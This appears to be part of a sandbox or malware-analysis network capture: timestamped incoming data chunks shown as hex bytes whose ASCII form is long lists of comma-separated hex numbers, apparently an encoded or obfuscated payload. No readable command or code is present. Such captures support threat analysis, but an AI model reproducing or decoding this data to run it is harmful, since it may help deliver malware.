2023-11-06 14:35:16 UTC	383	IN	Data Raw: 34 2c 36 31 2c 31 32 32 2c 31 33 66 2c 31 35 64 2c 64 64 2c 31 34 31 2c 31 35 63 2c 31 34 35 2c 31 34 36 2c 31 35 38 2c 31 35 33 2c 31 32 39 2c 31 33 32 2c 31 36 35 2c 31 34 62 2c 31 35 64 2c 31 33 63 2c 31 36 38 2c 31 33 34 2c 31 32 35 2c 31 31 63 2c 31 33 32 2c 31 34 32 2c 31 35 34 2c 64 34 2c 31 35 34 2c 31 34 39 2c 31 33 37 2c 62 30 2c 31 32 38 2c 31 36 31 2c 31 33 34 2c 31 33 61 2c 31 32 32 2c 31 33 66 2c 31 35 64 2c 31 33 32 2c 31 34 33 2c 31 35 63 2c 31 34 34 2c 31 33 30 2c 31 32 38 2c 31 34 66 2c 31 32 39 2c 36 33 2c 31 36 34 2c 31 34 62 2c 31 35 65 2c 62 32 2c 31 36 38 2c 31 33 34 2c 31 31 34 2c 31 32 33 2c 62 66 2c 31 33 65 2c 31 35 32 2c 31 34 36 2c 31 34 63 2c 31 33 66 2c 31 33 37 2c 31 30 39 2c 33 39 2c 66 65 2c 65 30 2c 61 32 2c 66 61 2c 31 Data Ascii: 4,61,122,13f,15d,dd,141,15c,145,146,158,153,129,132,165,14b,15d,13c,168,134,125,11c,132,142,154,d4,154,149,137,b0,128,161,134,13a,122,13f,15d,132,143,15c,144,130,128,14f,129,63,164,14b,15e,b2,168,134,114,123,bf,13e,152,146,14c,13f,137,109,39,fe,e0,a2,fa,1
2023-11-06 14:35:16 UTC	399	IN	Data Raw: 63 2c 31 34 33 2c 31 35 38 2c 31 34 33 2c 64 30 2c 31 31 33 2c 31 35 32 2c 31 32 39 2c 31 33 31 2c 66 32 2c 31 32 31 2c 31 35 63 2c 31 33 63 2c 31 35 65 2c 31 32 61 2c 66 61 2c 31 32 33 2c 31 32 63 2c 31 31 38 2c 31 35 34 2c 31 33 33 2c 31 32 36 2c 31 34 37 2c 31 33 37 2c 31 31 36 2c 31 32 61 2c 31 36 31 2c 31 33 34 2c 31 33 39 2c 31 32 32 2c 31 33 66 2c 31 34 63 2c 31 33 64 2c 31 34 31 2c 65 31 2c 66 65 2c 31 34 61 2c 31 35 38 2c 31 34 66 2c 31 32 37 2c 62 61 2c 31 31 66 2c 31 34 61 2c 31 35 65 2c 31 33 38 2c 31 30 66 2c 31 32 61 2c 66 61 2c 31 32 33 2c 31 32 63 2c 31 31 38 2c 31 35 34 2c 31 33 33 2c 31 32 36 2c 31 34 38 2c 31 33 37 2c 31 31 64 2c 31 32 61 2c 31 36 31 2c 31 33 34 2c 31 33 39 2c 31 32 32 2c 31 33 66 2c 31 34 63 2c 31 33 64 2c 31 34 31 2c Data Ascii: c,143,158,143,d0,113,152,129,131,f2,121,15c,13c,15e,12a,fa,123,12c,118,154,133,126,147,137,116,12a,161,134,139,122,13f,14c,13d,141,e1,fe,14a,158,14f,127,ba,11f,14a,15e,138,10f,12a,fa,123,12c,118,154,133,126,148,137,11d,12a,161,134,139,122,13f,14c,13d,141,
2023-11-06 14:35:16 UTC	415	IN	Data Raw: 2c 31 33 62 2c 31 35 64 2c 35 33 2c 31 34 33 2c 31 35 63 2c 31 34 35 2c 31 34 62 2c 31 35 38 2c 31 35 33 2c 31 32 39 2c 31 33 33 2c 31 34 35 2c 63 39 2c 31 30 65 2c 61 65 2c 63 36 2c 31 30 39 2c 31 32 35 2c 66 62 2c 31 32 64 2c 31 34 32 2c 31 35 34 2c 31 31 62 2c 31 32 65 2c 66 39 2c 31 33 35 2c 31 32 39 2c 31 32 30 2c 65 34 2c 39 61 2c 31 33 65 2c 31 32 32 2c 31 33 62 2c 31 35 62 2c 31 31 65 2c 31 32 66 2c 64 66 2c 61 61 2c 31 34 39 2c 31 35 38 2c 31 34 66 2c 31 32 37 2c 31 30 64 2c 31 31 34 2c 31 34 39 2c 31 35 65 2c 31 33 32 2c 31 36 38 2c 31 33 34 2c 31 32 33 2c 31 30 33 2c 31 32 30 2c 31 31 61 2c 31 35 32 2c 31 34 36 2c 31 33 66 2c 31 32 31 2c 65 35 2c 31 32 37 2c 31 32 61 2c 31 35 37 2c 31 33 34 2c 31 33 65 2c 66 61 2c 65 63 2c 31 35 62 2c 31 33 64 Data Ascii: ,13b,15d,53,143,15c,145,14b,158,153,129,133,145,c9,10e,ae,c6,109,125,fb,12d,142,154,11b,12e,f9,135,129,120,e4,9a,13e,122,13b,15b,11e,12f,df,aa,149,158,14f,127,10d,114,149,15e,132,168,134,123,103,120,11a,152,146,13f,121,e5,127,12a,157,134,13e,fa,ec,15b,13d
2023-11-06 14:35:16 UTC	431	IN	Data Raw: 31 34 39 2c 31 30 66 2c 31 32 33 2c 31 32 61 2c 31 36 31 2c 31 30 39 2c 31 31 38 2c 64 32 2c 31 33 64 2c 31 35 64 2c 31 33 33 2c 64 34 2c 31 30 38 2c 31 34 33 2c 31 34 62 2c 31 34 65 2c 31 35 33 2c 66 66 2c 31 31 61 2c 31 33 35 2c 31 34 34 2c 31 35 65 2c 39 61 2c 31 36 38 2c 31 33 34 2c 31 32 35 2c 37 61 2c 31 33 32 2c 31 34 32 2c 31 34 33 2c 31 34 36 2c 31 35 33 2c 64 61 2c 64 35 2c 31 32 37 2c 31 32 61 2c 31 35 37 2c 31 32 61 2c 31 32 65 2c 31 32 31 2c 31 32 38 2c 31 34 37 2c 31 33 62 2c 31 31 62 2c 31 30 65 2c 31 34 33 2c 31 34 62 2c 31 34 65 2c 31 35 31 2c 31 30 31 2c 65 36 2c 31 36 33 2c 31 34 62 2c 31 35 34 2c 31 32 35 2c 31 30 66 2c 31 30 63 2c 66 62 2c 31 32 31 2c 31 33 32 2c 31 33 38 2c 31 34 65 2c 31 32 64 2c 65 37 2c 37 39 2c 31 33 36 2c 31 32 Data Ascii: 149,10f,123,12a,161,109,118,d2,13d,15d,133,d4,108,143,14b,14e,153,ff,11a,135,144,15e,9a,168,134,125,7a,132,142,143,146,153,da,d5,127,12a,157,12a,12e,121,128,147,13b,11b,10e,143,14b,14e,151,101,e6,163,14b,154,125,10f,10c,fb,121,132,138,14e,12d,e7,79,136,12
2023-11-06 14:35:16 UTC	447	IN	Data Raw: 66 32 2c 31 33 63 2c 31 35 34 2c 65 61 2c 31 31 37 2c 37 65 2c 31 32 37 2c 31 32 33 2c 31 32 61 2c 38 34 2c 66 36 2c 37 35 2c 31 31 32 2c 31 33 39 2c 31 35 64 2c 61 65 2c 31 30 33 2c 62 38 2c 31 30 65 2c 31 34 35 2c 31 35 38 2c 66 30 2c 64 62 2c 39 31 2c 31 32 65 2c 31 34 35 2c 31 35 65 2c 39 37 2c 31 32 32 2c 66 33 2c 64 37 2c 31 31 64 2c 31 33 32 2c 64 63 2c 31 32 33 2c 37 62 2c 31 34 36 2c 31 34 33 2c 31 33 37 2c 31 33 33 2c 31 30 61 2c 39 36 2c 31 32 34 2c 31 33 61 2c 31 32 32 2c 31 31 39 2c 31 33 61 2c 39 39 2c 31 30 63 2c 31 35 36 2c 31 34 35 2c 35 61 2c 31 30 30 2c 61 66 2c 66 32 2c 31 32 66 2c 31 36 35 2c 66 39 2c 31 30 37 2c 39 38 2c 31 33 31 2c 31 32 61 2c 31 32 35 2c 33 32 2c 66 32 2c 66 34 2c 31 31 65 2c 31 33 63 2c 31 35 36 2c 65 62 2c 65 30 Data Ascii: f2,13c,154,ea,117,7e,127,123,12a,84,f6,75,112,139,15d,ae,103,b8,10e,145,158,f0,db,91,12e,145,15e,97,122,f3,d7,11d,132,dc,123,7b,146,143,137,133,10a,96,124,13a,122,119,13a,99,10c,156,145,5a,100,af,f2,12f,165,f9,107,98,131,12a,125,32,f2,f4,11e,13c,156,eb,e0
2023-11-06 14:35:16 UTC	463	IN	Data Raw: 66 2c 31 35 36 2c 31 31 38 2c 31 33 37 2c 35 37 2c 31 32 61 2c 63 39 2c 31 33 31 2c 31 30 66 2c 31 32 32 2c 31 31 32 2c 31 35 62 2c 61 35 2c 31 34 30 2c 31 32 62 2c 31 34 35 2c 31 35 31 2c 31 35 34 2c 62 62 2c 31 32 36 2c 31 30 34 2c 31 36 35 2c 37 64 2c 31 35 39 2c 61 34 2c 31 36 35 2c 31 30 33 2c 31 32 35 2c 33 36 2c 31 33 31 2c 61 61 2c 31 35 31 2c 31 31 35 2c 31 35 36 2c 31 32 32 2c 31 33 34 2c 39 31 2c 31 32 37 2c 31 33 30 2c 31 33 34 2c 63 61 2c 31 31 64 2c 61 37 2c 31 35 61 2c 31 30 63 2c 31 34 33 2c 36 65 2c 31 34 30 2c 62 33 2c 31 35 35 2c 31 30 32 2c 61 39 2c 31 32 36 2c 31 36 32 2c 66 61 2c 31 35 65 2c 65 62 2c 65 38 2c 64 62 2c 31 32 30 2c 64 32 2c 31 33 32 2c 66 31 2c 64 34 2c 35 62 2c 31 35 31 2c 66 38 2c 31 33 37 2c 31 32 38 2c 31 32 61 2c Data Ascii: f,156,118,137,57,12a,c9,131,10f,122,112,15b,a5,140,12b,145,151,154,bb,126,104,165,7d,159,a4,165,103,125,36,131,aa,151,115,156,122,134,91,127,130,134,ca,11d,a7,15a,10c,143,6e,140,b3,155,102,a9,126,162,fa,15e,eb,e8,db,120,d2,132,f1,d4,5b,151,f8,137,128,12a,
2023-11-06 14:35:16 UTC	479	IN	Data Raw: 32 33 2c 31 33 32 2c 31 34 32 2c 31 35 34 2c 63 33 2c 31 35 36 2c 39 33 2c 62 34 2c 31 31 66 2c 31 32 61 2c 31 32 63 2c 31 33 34 2c 63 31 2c 64 62 2c 31 33 66 2c 31 35 64 2c 31 33 64 2c 31 34 33 2c 64 39 2c 31 34 35 2c 64 64 2c 63 63 2c 31 34 39 2c 31 32 39 2c 31 30 30 2c 31 36 35 2c 39 32 2c 31 31 37 2c 31 33 63 2c 31 36 38 2c 31 33 34 2c 31 32 35 2c 61 30 2c 31 33 32 2c 36 30 2c 63 37 2c 31 33 63 2c 31 35 36 2c 31 31 34 2c 31 33 37 2c 35 61 2c 65 33 2c 31 36 31 2c 31 33 34 2c 31 34 30 2c 31 32 32 2c 62 63 2c 31 35 64 2c 31 33 64 2c 64 37 2c 31 35 32 2c 31 34 35 2c 31 31 36 2c 31 35 38 2c 36 65 2c 65 32 2c 31 33 35 2c 31 36 35 2c 31 34 62 2c 31 35 65 2c 62 39 2c 31 36 38 2c 65 32 2c 61 35 2c 31 31 39 2c 31 33 32 2c 31 30 64 2c 31 35 34 2c 31 34 61 2c 31 Data Ascii: 23,132,142,154,c3,156,93,b4,11f,12a,12c,134,c1,db,13f,15d,13d,143,d9,145,dd,cc,149,129,100,165,92,117,13c,168,134,125,a0,132,60,c7,13c,156,114,137,5a,e3,161,134,140,122,bc,15d,13d,d7,152,145,116,158,6e,e2,135,165,14b,15e,b9,168,e2,a5,119,132,10d,154,14a,1
2023-11-06 14:35:16 UTC	495	IN	Data Raw: 2c 31 33 32 2c 31 34 32 2c 31 35 34 2c 63 30 2c 31 35 36 2c 61 62 2c 64 66 2c 64 36 2c 31 32 37 2c 37 37 2c 31 33 33 2c 63 30 2c 31 31 64 2c 31 33 65 2c 31 35 64 2c 31 33 64 2c 31 34 33 2c 64 62 2c 31 34 35 2c 36 35 2c 31 32 32 2c 66 34 2c 31 32 36 2c 34 62 2c 31 36 34 2c 31 33 62 2c 31 35 38 2c 31 33 62 2c 31 36 38 2c 31 33 34 2c 31 32 35 2c 61 32 2c 31 33 32 2c 36 30 2c 31 31 65 2c 31 31 30 2c 31 35 30 2c 35 65 2c 31 33 36 2c 61 64 2c 31 32 33 2c 31 36 30 2c 31 33 34 2c 31 34 30 2c 31 32 32 2c 61 65 2c 31 35 64 2c 31 31 33 2c 31 32 64 2c 31 32 30 2c 31 33 66 2c 35 65 2c 31 35 37 2c 62 62 2c 31 32 32 2c 31 33 34 2c 31 36 35 2c 31 34 62 2c 31 35 65 2c 61 36 2c 31 36 38 2c 35 32 2c 66 61 2c 65 32 2c 31 32 63 2c 35 34 2c 31 35 33 2c 37 64 2c 31 30 39 2c 31 Data Ascii: ,132,142,154,c0,156,ab,df,d6,127,77,133,c0,11d,13e,15d,13d,143,db,145,65,122,f4,126,4b,164,13b,158,13b,168,134,125,a2,132,60,11e,110,150,5e,136,ad,123,160,134,140,122,ae,15d,113,12d,120,13f,5e,157,bb,122,134,165,14b,15e,a6,168,52,fa,e2,12c,54,153,7d,109,1
2023-11-06 14:35:16 UTC	511	IN	Data Raw: 35 34 2c 31 34 32 2c 65 66 2c 31 32 39 2c 31 32 61 2c 31 36 31 2c 31 33 34 2c 62 61 2c 31 30 61 2c 35 62 2c 31 31 37 2c 31 33 33 2c 31 34 33 2c 61 64 2c 31 34 33 2c 61 33 2c 31 32 37 2c 31 35 32 2c 31 32 39 2c 31 33 35 2c 31 36 35 2c 62 61 2c 31 35 65 2c 35 61 2c 31 33 30 2c 66 35 2c 31 32 35 2c 37 34 2c 31 33 30 2c 35 61 2c 31 32 33 2c 31 34 35 2c 31 35 36 2c 31 34 39 2c 31 33 37 2c 39 33 2c 31 32 32 2c 63 33 2c 31 30 37 2c 63 30 2c 31 31 38 2c 39 30 2c 31 35 62 2c 35 64 2c 65 66 2c 31 35 63 2c 31 34 35 2c 31 34 62 2c 31 35 38 2c 63 64 2c 31 31 31 2c 35 31 2c 31 31 66 2c 62 32 2c 31 35 34 2c 38 64 2c 31 36 36 2c 31 32 38 2c 66 33 2c 31 32 32 2c 31 33 32 2c 31 34 32 2c 31 35 34 2c 63 30 2c 31 33 65 2c 36 35 2c 66 31 2c 37 37 2c 31 32 30 2c 61 66 2c 31 33 Data Ascii: 54,142,ef,129,12a,161,134,ba,10a,5b,117,133,143,ad,143,a3,127,152,129,135,165,ba,15e,5a,130,f5,125,74,130,5a,123,145,156,149,137,93,122,c3,107,c0,118,90,15b,5d,ef,15c,145,14b,158,cd,111,51,11f,b2,154,8d,166,128,f3,122,132,142,154,c0,13e,65,f1,77,120,af,13
2023-11-06 14:35:16 UTC	527	IN	Data Raw: 33 61 2c 31 36 38 2c 64 35 2c 64 65 2c 31 32 33 2c 31 33 32 2c 31 34 31 2c 31 35 34 2c 63 64 2c 31 31 38 2c 31 34 39 2c 31 33 37 2c 31 32 37 2c 31 32 61 2c 31 30 32 2c 65 64 2c 31 34 30 2c 31 32 32 2c 31 33 63 2c 31 35 64 2c 31 34 33 2c 31 31 36 2c 31 35 63 2c 31 34 35 2c 31 34 61 2c 31 35 38 2c 66 34 2c 65 32 2c 31 33 35 2c 31 36 35 2c 31 34 61 2c 31 35 65 2c 64 64 2c 31 32 31 2c 31 33 34 2c 31 32 35 2c 31 32 31 2c 31 33 32 2c 31 34 38 2c 31 32 37 2c 31 34 36 2c 31 35 36 2c 31 34 38 2c 31 33 37 2c 63 61 2c 65 33 2c 31 36 31 2c 31 33 34 2c 31 33 66 2c 31 32 32 2c 65 30 2c 31 31 36 2c 31 33 64 2c 31 34 33 2c 31 35 61 2c 31 34 35 2c 31 35 31 2c 31 32 62 2c 31 35 33 2c 31 32 39 2c 31 33 34 2c 31 36 35 2c 64 32 2c 31 32 30 2c 31 33 63 2c 31 36 38 2c 31 33 32 Data Ascii: 3a,168,d5,de,123,132,141,154,cd,118,149,137,127,12a,102,ed,140,122,13c,15d,143,116,15c,145,14a,158,f4,e2,135,165,14a,15e,dd,121,134,125,121,132,148,127,146,156,148,137,ca,e3,161,134,13f,122,e0,116,13d,143,15a,145,151,12b,153,129,134,165,d2,120,13c,168,132
2023-11-06 14:35:16 UTC	543	IN	Data Raw: 36 31 2c 31 33 34 2c 31 33 66 2c 31 32 32 2c 31 33 61 2c 31 34 31 2c 31 33 64 2c 31 34 33 2c 31 35 61 2c 31 34 35 2c 63 30 2c 31 32 38 2c 31 35 33 2c 31 32 39 2c 31 33 32 2c 31 36 35 2c 31 30 65 2c 31 32 37 2c 31 33 63 2c 31 36 38 2c 31 33 30 2c 31 32 35 2c 66 35 2c 66 62 2c 31 34 32 2c 31 35 34 2c 31 34 35 2c 31 35 36 2c 31 34 34 2c 31 31 62 2c 31 32 39 2c 31 32 61 2c 31 35 66 2c 31 33 34 2c 31 32 31 2c 63 35 2c 31 33 66 2c 31 35 64 2c 31 33 61 2c 31 34 33 2c 31 30 65 2c 31 31 35 2c 31 34 62 2c 31 35 38 2c 31 35 32 2c 31 32 39 2c 31 33 30 2c 31 34 39 2c 31 34 62 2c 31 35 65 2c 31 33 61 2c 31 36 38 2c 35 36 2c 65 32 2c 31 32 33 2c 31 33 32 2c 31 33 66 2c 31 35 34 2c 39 30 2c 66 39 2c 31 34 39 2c 31 33 37 2c 31 32 35 2c 31 32 61 2c 31 33 63 2c 64 33 2c 31 Data Ascii: 61,134,13f,122,13a,141,13d,143,15a,145,c0,128,153,129,132,165,10e,127,13c,168,130,125,f5,fb,142,154,145,156,144,11b,129,12a,15f,134,121,c5,13f,15d,13a,143,10e,115,14b,158,152,129,130,149,14b,15e,13a,168,56,e2,123,132,13f,154,90,f9,149,137,125,12a,13c,d3,1
2023-11-06 14:35:16 UTC	559	IN	Data Raw: 35 34 2c 31 33 66 2c 31 32 64 2c 66 38 2c 62 32 2c 31 33 37 2c 36 61 2c 31 32 35 2c 62 63 2c 31 34 38 2c 66 38 2c 31 35 62 2c 62 33 2c 31 36 34 2c 61 38 2c 31 32 31 2c 38 62 2c 66 65 2c 31 34 31 2c 31 35 30 2c 36 66 2c 31 30 34 2c 61 35 2c 31 30 33 2c 34 30 2c 31 32 35 2c 31 35 32 2c 31 31 65 2c 39 32 2c 65 65 2c 35 36 2c 31 35 38 2c 65 62 2c 31 31 65 2c 36 62 2c 31 31 64 2c 62 61 2c 31 35 37 2c 38 36 2c 64 37 2c 38 31 2c 31 33 31 2c 61 32 2c 31 35 64 2c 63 61 2c 31 34 32 2c 31 32 61 2c 31 32 35 2c 31 30 32 2c 31 33 31 2c 38 61 2c 31 33 64 2c 38 30 2c 31 32 32 2c 61 30 2c 31 33 36 2c 39 32 2c 64 37 2c 31 35 31 2c 31 33 33 2c 35 37 2c 31 32 31 2c 31 31 65 2c 66 63 2c 36 66 2c 31 30 66 2c 62 33 2c 31 34 34 2c 61 32 2c 31 32 35 2c 36 64 2c 31 31 39 2c 35 63 Data Ascii: 54,13f,12d,f8,b2,137,6a,125,bc,148,f8,15b,b3,164,a8,121,8b,fe,141,150,6f,104,a5,103,40,125,152,11e,92,ee,56,158,eb,11e,6b,11d,ba,157,86,d7,81,131,a2,15d,ca,142,12a,125,102,131,8a,13d,80,122,a0,136,92,d7,151,133,57,121,11e,fc,6f,10f,b3,144,a2,125,6d,119,5c
2023-11-06 14:35:16 UTC	575	IN	Data Raw: 31 31 36 2c 34 61 2c 31 36 34 2c 63 38 2c 31 34 35 2c 62 33 2c 31 35 35 2c 31 33 31 2c 31 32 33 2c 64 38 2c 31 31 34 2c 39 39 2c 31 34 31 2c 35 62 2c 31 35 35 2c 63 36 2c 31 31 65 2c 38 30 2c 31 31 37 2c 31 35 65 2c 31 33 32 2c 39 35 2c 31 30 34 2c 37 36 2c 31 34 61 2c 35 32 2c 31 34 32 2c 64 39 2c 31 32 63 2c 38 32 2c 31 34 35 2c 31 35 30 2c 31 32 37 2c 38 61 2c 31 34 37 2c 36 32 2c 31 34 62 2c 35 31 2c 31 36 37 2c 62 31 2c 31 30 63 2c 33 61 2c 31 31 66 2c 31 33 66 2c 31 35 32 2c 35 35 2c 31 33 38 2c 31 34 30 2c 31 32 33 2c 33 65 2c 31 32 39 2c 64 65 2c 31 31 62 2c 31 33 37 2c 31 30 65 2c 31 33 63 2c 31 35 62 2c 66 31 2c 31 32 34 2c 31 31 62 2c 31 33 30 2c 62 38 2c 31 35 37 2c 31 34 35 2c 31 32 39 2c 66 34 2c 31 35 30 2c 61 38 2c 31 35 64 2c 31 33 33 2c Data Ascii: 116,4a,164,c8,145,b3,155,131,123,d8,114,99,141,5b,155,c6,11e,80,117,15e,132,95,104,76,14a,52,142,d9,12c,82,145,150,127,8a,147,62,14b,51,167,b1,10c,3a,11f,13f,152,55,138,140,123,3e,129,de,11b,137,10e,13c,15b,f1,124,11b,130,b8,157,145,129,f4,150,a8,15d,133,
2023-11-06 14:35:16 UTC	591	IN	Data Raw: 31 32 64 2c 31 36 32 2c 31 33 34 2c 31 35 61 2c 31 33 63 2c 31 36 38 2c 65 64 2c 31 32 30 2c 38 66 2c 31 32 66 2c 31 34 32 2c 31 35 34 2c 35 66 2c 31 35 31 2c 66 66 2c 31 32 64 2c 31 32 39 2c 31 32 61 2c 61 31 2c 31 32 64 2c 61 63 2c 31 31 66 2c 31 33 66 2c 31 35 64 2c 31 33 35 2c 31 34 30 2c 63 38 2c 31 34 32 2c 31 34 62 2c 31 35 38 2c 31 30 63 2c 31 32 34 2c 61 31 2c 31 36 32 2c 31 34 62 2c 31 35 65 2c 35 35 2c 31 36 33 2c 61 30 2c 31 32 32 2c 31 32 33 2c 31 33 32 2c 38 32 2c 31 34 64 2c 62 32 2c 31 35 33 2c 31 34 39 2c 31 33 37 2c 65 33 2c 31 32 32 2c 63 64 2c 31 33 31 2c 31 34 30 2c 31 32 32 2c 36 36 2c 31 35 34 2c 61 39 2c 31 34 30 2c 31 35 63 2c 31 34 35 2c 31 33 32 2c 31 34 65 2c 66 31 2c 31 31 66 2c 31 33 35 2c 31 36 35 2c 61 37 2c 31 35 33 2c 61 Data Ascii: 12d,162,134,15a,13c,168,ed,120,8f,12f,142,154,5f,151,ff,12d,129,12a,a1,12d,ac,11f,13f,15d,135,140,c8,142,14b,158,10c,124,a1,162,14b,15e,55,163,a0,122,123,132,82,14d,b2,153,149,137,e3,122,cd,131,140,122,66,154,a9,140,15c,145,132,14e,f1,11f,135,165,a7,153,a
2023-11-06 14:35:16 UTC	607	IN	Data Raw: 64 31 2c 66 62 2c 63 63 2c 31 30 32 2c 65 61 2c 65 61 2c 62 35 2c 65 31 2c 65 63 2c 64 62 2c 66 39 2c 65 39 2c 66 66 2c 62 61 2c 63 30 2c 65 36 2c 66 65 2c 31 31 32 2c 31 35 34 2c 31 30 33 2c 31 32 36 2c 31 34 39 2c 65 64 2c 66 39 2c 31 32 61 2c 31 30 64 2c 31 30 34 2c 31 34 30 2c 65 36 2c 31 30 31 2c 31 32 34 2c 64 65 2c 65 34 2c 31 32 63 2c 65 36 2c 31 31 62 2c 31 35 38 2c 31 31 37 2c 65 30 2c 64 31 2c 31 33 34 2c 31 30 64 2c 66 63 2c 64 64 2c 31 30 39 2c 31 30 34 2c 63 36 2c 66 33 2c 31 33 32 2c 31 30 36 2c 66 64 2c 64 34 2c 65 64 2c 64 35 2c 64 32 2c 64 64 2c 63 31 2c 66 33 2c 63 66 2c 31 30 32 2c 63 30 2c 65 30 2c 66 65 2c 31 30 64 2c 65 34 2c 31 32 63 2c 31 34 35 2c 31 30 66 2c 31 32 61 2c 66 30 2c 62 35 2c 63 36 2c 66 33 2c 31 30 64 2c 66 63 2c 64 Data Ascii: d1,fb,cc,102,ea,ea,b5,e1,ec,db,f9,e9,ff,ba,c0,e6,fe,112,154,103,126,149,ed,f9,12a,10d,104,140,e6,101,124,de,e4,12c,e6,11b,158,117,e0,d1,134,10d,fc,dd,109,104,c6,f3,132,106,fd,d4,ed,d5,d2,dd,c1,f3,cf,102,c0,e0,fe,10d,e4,12c,145,10f,12a,f0,b5,c6,f3,10d,fc,d
2023-11-06 14:35:16 UTC	623	IN	Data Raw: 2c 65 63 2c 66 66 2c 31 35 33 2c 62 36 2c 64 32 2c 31 30 34 2c 64 66 2c 66 39 2c 65 33 2c 31 36 38 2c 63 35 2c 62 66 2c 62 64 2c 62 66 2c 64 64 2c 65 30 2c 65 64 2c 31 35 36 2c 66 36 2c 66 35 2c 63 61 2c 65 32 2c 31 31 32 2c 65 32 2c 65 36 2c 31 32 32 2c 63 39 2c 66 63 2c 64 31 2c 63 65 2c 66 37 2c 65 36 2c 65 63 2c 31 35 38 2c 65 63 2c 63 34 2c 63 31 2c 31 30 36 2c 66 34 2c 65 66 2c 63 61 2c 66 64 2c 63 62 2c 62 37 2c 62 63 2c 66 31 2c 64 30 2c 65 66 2c 65 35 2c 31 35 36 2c 66 32 2c 63 38 2c 62 37 2c 62 66 2c 31 32 30 2c 63 32 2c 64 62 2c 63 31 2c 31 33 66 2c 65 36 2c 63 65 2c 64 31 2c 66 31 2c 31 30 34 2c 64 39 2c 66 33 2c 66 32 2c 31 32 39 2c 65 38 2c 66 63 2c 64 64 2c 66 35 2c 63 66 2c 66 33 2c 63 37 2c 65 34 2c 62 37 2c 63 32 2c 64 61 2c 66 33 2c 31 Data Ascii: ,ec,ff,153,b6,d2,104,df,f9,e3,168,c5,bf,bd,bf,dd,e0,ed,156,f6,f5,ca,e2,112,e2,e6,122,c9,fc,d1,ce,f7,e6,ec,158,ec,c4,c1,106,f4,ef,ca,fd,cb,b7,bc,f1,d0,ef,e5,156,f2,c8,b7,bf,120,c2,db,c1,13f,e6,ce,d1,f1,104,d9,f3,f2,129,e8,fc,dd,f5,cf,f3,c7,e4,b7,c2,da,f3,1
2023-11-06 14:35:16 UTC	639	IN	Data Raw: 63 2c 63 66 2c 63 39 2c 63 65 2c 65 38 2c 65 31 2c 31 31 35 2c 64 35 2c 63 33 2c 62 37 2c 63 31 2c 66 66 2c 62 66 2c 63 63 2c 62 64 2c 31 33 66 2c 31 30 65 2c 64 62 2c 64 30 2c 65 64 2c 64 39 2c 65 36 2c 65 34 2c 65 65 2c 65 38 2c 63 31 2c 66 31 2c 64 39 2c 66 35 2c 64 61 2c 66 33 2c 63 30 2c 63 30 2c 31 32 33 2c 66 31 2c 63 66 2c 65 31 2c 65 31 2c 65 39 2c 65 37 2c 63 62 2c 62 30 2c 64 36 2c 65 66 2c 64 33 2c 64 63 2c 62 64 2c 64 32 2c 66 63 2c 63 62 2c 64 38 2c 31 31 62 2c 64 31 2c 64 37 2c 65 36 2c 65 61 2c 63 37 2c 63 30 2c 66 31 2c 65 36 2c 31 35 65 2c 65 38 2c 31 30 37 2c 63 32 2c 62 65 2c 62 65 2c 62 65 2c 66 63 2c 65 32 2c 65 35 2c 65 39 2c 65 34 2c 63 30 2c 62 61 2c 62 38 2c 66 36 2c 66 33 2c 63 63 2c 61 65 2c 63 64 2c 66 34 2c 64 62 2c 63 65 2c Data Ascii: c,cf,c9,ce,e8,e1,115,d5,c3,b7,c1,ff,bf,cc,bd,13f,10e,db,d0,ed,d9,e6,e4,ee,e8,c1,f1,d9,f5,da,f3,c0,c0,123,f1,cf,e1,e1,e9,e7,cb,b0,d6,ef,d3,dc,bd,d2,fc,cb,d8,11b,d1,d7,e6,ea,c7,c0,f1,e6,15e,e8,107,c2,be,be,be,fc,e2,e5,e9,e4,c0,ba,b8,f6,f3,cc,ae,cd,f4,db,ce,
2023-11-06 14:35:16 UTC	655	IN	Data Raw: 37 2c 62 33 2c 64 31 2c 31 35 64 2c 64 37 2c 31 30 31 2c 65 33 2c 66 35 2c 64 63 2c 65 35 2c 65 61 2c 62 35 2c 63 63 2c 66 36 2c 64 64 2c 31 35 65 2c 65 39 2c 31 30 33 2c 64 33 2c 62 33 2c 63 30 2c 63 61 2c 66 33 2c 65 34 2c 64 32 2c 65 64 2c 64 61 2c 63 39 2c 31 32 39 2c 62 37 2c 66 63 2c 64 33 2c 63 65 2c 62 66 2c 64 37 2c 31 30 65 2c 63 64 2c 63 66 2c 66 33 2c 64 36 2c 64 64 2c 31 35 38 2c 31 31 32 2c 62 37 2c 63 65 2c 66 30 2c 64 65 2c 66 39 2c 63 65 2c 66 34 2c 65 35 2c 62 30 2c 61 66 2c 65 33 2c 64 63 2c 31 30 32 2c 65 35 2c 65 38 2c 65 32 2c 64 32 2c 65 34 2c 62 32 2c 66 65 2c 63 66 2c 64 30 2c 61 65 2c 64 36 2c 65 65 2c 63 66 2c 31 34 33 2c 31 31 38 2c 65 34 2c 64 37 2c 66 37 2c 31 30 37 2c 63 34 2c 63 37 2c 66 65 2c 64 37 2c 66 36 2c 66 37 2c 66 Data Ascii: 7,b3,d1,15d,d7,101,e3,f5,dc,e5,ea,b5,cc,f6,dd,15e,e9,103,d3,b3,c0,ca,f3,e4,d2,ed,da,c9,129,b7,fc,d3,ce,bf,d7,10e,cd,cf,f3,d6,dd,158,112,b7,ce,f0,de,f9,ce,f4,e5,b0,af,e3,dc,102,e5,e8,e2,d2,e4,b2,fe,cf,d0,ae,d6,ee,cf,143,118,e4,d7,f7,107,c4,c7,fe,d7,f6,f7,f
2023-11-06 14:35:16 UTC	671	IN	Data Raw: 2c 65 33 2c 31 34 39 2c 64 30 2c 63 34 2c 62 36 2c 31 30 32 2c 66 33 2c 64 63 2c 62 65 2c 63 64 2c 66 38 2c 63 61 2c 64 30 2c 31 35 63 2c 31 30 30 2c 64 64 2c 66 34 2c 65 33 2c 62 61 2c 63 63 2c 66 37 2c 64 37 2c 31 31 64 2c 64 38 2c 31 30 34 2c 63 32 2c 63 30 2c 62 30 2c 62 66 2c 31 34 32 2c 66 33 2c 65 32 2c 66 32 2c 64 37 2c 64 32 2c 62 36 2c 62 37 2c 31 36 31 2c 65 62 2c 64 32 2c 64 32 2c 63 64 2c 65 65 2c 64 36 2c 64 31 2c 66 37 2c 64 32 2c 64 38 2c 31 35 38 2c 31 30 30 2c 62 30 2c 63 32 2c 66 31 2c 65 36 2c 66 31 2c 31 30 65 2c 31 31 61 2c 63 66 2c 62 31 2c 66 35 2c 64 66 2c 64 33 2c 66 31 2c 64 62 2c 66 31 2c 64 35 2c 63 34 2c 31 32 39 2c 65 39 2c 66 35 2c 63 38 2c 65 39 2c 63 31 2c 64 33 2c 66 31 2c 64 38 2c 63 66 2c 65 39 2c 31 34 35 2c 64 64 2c Data Ascii: 